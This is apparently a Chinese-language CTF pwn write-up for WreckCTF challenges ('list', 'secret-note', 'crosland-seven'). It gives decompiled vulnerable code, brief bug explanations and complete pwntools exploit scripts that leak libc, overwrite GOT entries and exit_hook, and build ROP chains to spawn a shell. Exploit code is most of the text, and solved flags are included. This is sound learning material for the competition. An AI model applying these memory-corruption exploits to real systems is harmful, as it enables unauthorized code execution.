p.recvuntil(b"Hey I'm ")
pwn_base = int(p.recvuntil(',', drop=True), 16) - elf.sym['main']
elf.address = pwn_base
print(hex(pwn_base))

pop_rdi = pwn_base + 0x0000000000001603 # pop rdi ; ret
pop_rsi = pwn_base + 0x0000000000001601 # pop rsi ; pop r15 ; ret


pay = b'A'*16 + flat(0, elf.sym['set_frog'], elf.sym['main'])
p.sendafter(b'name?\n', pay)

#pause()

pay = b'A'*15 + flat(0, elf.sym['set_coin'], elf.sym['froggers'])
p.sendafter(b'name?\n', pay)

#pause()

p.recvline()

p.interactive()

list

块按链方式存储,有写溢出,通过溢出覆盖next指针泄露libc,然后覆盖got[atoi]的为system

int vuln()
{
  unsigned int v0; // eax
  unsigned int v1; // eax
  int v3; // [rsp+4h] [rbp-Ch]
  void *ptr; // [rsp+8h] [rbp-8h]
  void *ptra; // [rsp+8h] [rbp-8h]
  void *ptrb; // [rsp+8h] [rbp-8h]
  const char *ptrc; // [rsp+8h] [rbp-8h]

  puts("what would you like to do?");
  puts("1. push to back");
  puts("2. pop from back");
  puts("3. edit node");
  puts("4. read node");
  v3 = read_n();
  if ( v3 == 4 )
  {
    puts("enter an index:");
    v1 = read_n();
    ptrc = (const char *)get_ptr(v1);
    if ( ptrc )
    {
      puts(ptrc + 8);
      return puts(&byte_4020DB);
    }
LABEL_14:
    puts("index does not exist!");
    return puts(&byte_4020DB);
  }
  if ( v3 > 4 )
    goto LABEL_18;
  switch ( v3 )
  {
    case 3:
      puts("enter an index:");
      v0 = read_n();
      ptrb = (void *)get_ptr(v0);
      if ( ptrb )
      {
        read128(ptrb);
        puts("edited!!");
        return puts(&byte_4020DB);
      }
      goto LABEL_14;
    case 1:
      ptr = (void *)sub_401256();               // 0x48  next_ptr, data:0x40
      if ( ptr )
      {
        read128(ptr);                           // 可以写128,溢出
        puts("pushed!");
      }
      else
      {
        puts("failed to push");
      }
      break;
    case 2:
      ptra = (void *)sub_4012D7();
      if ( ptra )
      {
        free(ptra);
        puts("removed!");
      }
      else
      {
        puts("failed to pop");
      }
      break;
    default:
LABEL_18:
      puts("invalid choice");
      exit(1);
  }
  return puts(&byte_4020DB);
}

 解

from pwn import *

p = remote('challs.wreckctf.com', 31890)
#p = process('./pwn')

elf = ELF('./pwn')

context(arch='amd64', log_level = 'debug')

def push(msg):
    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"> ", msg)

def pop():
    p.sendlineafter(b"> ", b'2')

def edit(idx, msg):
    p.sendlineafter(b"> ", b'3')
    p.sendlineafter(b"> ", str(idx).encode())
    p.sendlineafter(b"> ", msg)

def show(idx):
    p.sendlineafter(b"> ", b'4')
    p.sendlineafter(b"> ", str(idx).encode())

push(b'/bin/sh')
push(b'/bin/sh')
push(b'/bin/sh')
pop()
edit(0, b'A'*0x40+ flat(0x51, elf.got['free']))
show(2)

libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420 #0x80ed0
print(hex(libc_base))

system = libc_base + 0x52290 #0x50d60

edit(0, b'A'*0x40+ flat(0x51, elf.got['atoi']-8))  #
edit(2, p64(system))
p.sendlineafter(b'> ', b'/bin/sh')

p.interactive()

#flag{queues_are_better_than_stacks}

secret-note 仅本地完成

先固定生成4个块,然后只有写命令。但写的时候指针可以前越界,这样可以写到stdout在得到libc然后通过写-11处指向自己的指针,向exit_hook写one

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int i; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  for ( i = 0; i <= 3; ++i )
  {
    notes[i] = malloc(0x100uLL);
    if ( !notes[i] )
    {
      perror("malloc");
      exit(1);
    }
  }
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 1 )
        break;
      write_note();
    }
    if ( v3 == 2 )
      exit(0);
    puts("invalid choice!");
  }
}
unsigned __int64 write_note()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("note index: ");
  read(0, buf, 8uLL);
  v1 = atoi(buf);
  if ( v1 > 3 )                                 // 前越界
  {
    puts("invalid index!");
    exit(1);
  }
  printf("note content: ");
  read(0, (void *)notes[v1], 0x100uLL);
  return __readfsqword(0x28u) ^ v3;
}

本地测试成功程序,这题最后有2大神解出。不知道什么方法。

from pwn import *

#p = remote('challs.wreckctf.com', 31857)
p = process('./pwn')

#patchelf --add-needed /home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so pwn
#patchelf --set-interpreter /home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so pwn

elf = ELF('./pwn')
libc_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
ld_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so') 
context(arch='amd64', log_level = 'debug')

def edit(idx, msg):
    p.sendlineafter(b"> ", b'1')
    p.sendlineafter(b"note index: ", str(idx).encode())
    p.sendafter(b"note content: ", msg)

#2.31 1ec980
#2.27 3ed8b0
edit(-8, p64(0xFBAD1800)+ p64(0)*3 + p8(0))
p.recv(8)
libc_base = u64(p.recv(8)) - 0x3ed8b0
libc_elf.address = libc_base
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]


#local exit_hook one[2]
exit_hook = libc_base+0x619060+3848

edit(-8, p64(0xFBAD2887))

edit(-11, p64(exit_hook))
edit(-11, p64(libc_base + one[2])) #local 2

edit(1, b'aaa')
p.sendlineafter(b"> ", b'2')


p.interactive()

 

file-note 未解出

crosland-seven

一句话程序不说了gets

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(_bss_start, 0LL);
  puts("Welcome to Crosland Tower, what will you be studying today?");
  gets();
  puts("okay, good luck!");
  return 0;
}
from pwn import *

p = remote('challs.wreckctf.com', 31789)
#p = process('./pwn')


elf = ELF('./pwn')
libc_elf = ELF('/home/shi/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
context(arch='amd64', log_level = 'debug')

pop_rdi = 0x0000000000401233 # pop rdi ; ret
pop_rsi = 0x0000000000401231 # pop rsi ; pop r15 ; ret

#gdb.attach(p, 'b*0x4011ba')
#pause()

pay = b'A'*64 + flat(0, pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['_start'])
p.sendlineafter(b'?\n', pay)
p.recvline()
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x84420 #0x80ed0 #
system = libc_base + 0x52290 #0x50d60 #
bin_sh = libc_base + 0x1b45bd #0x1d8698 #
print(hex(libc_base))

pay = b'A'*64 + flat(0, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['_start'])
p.sendlineafter(b'?\n', pay)

p.interactive()

#flag{9ea9ae5235772a7e9c4d28bb92ac206c}

 类似资料: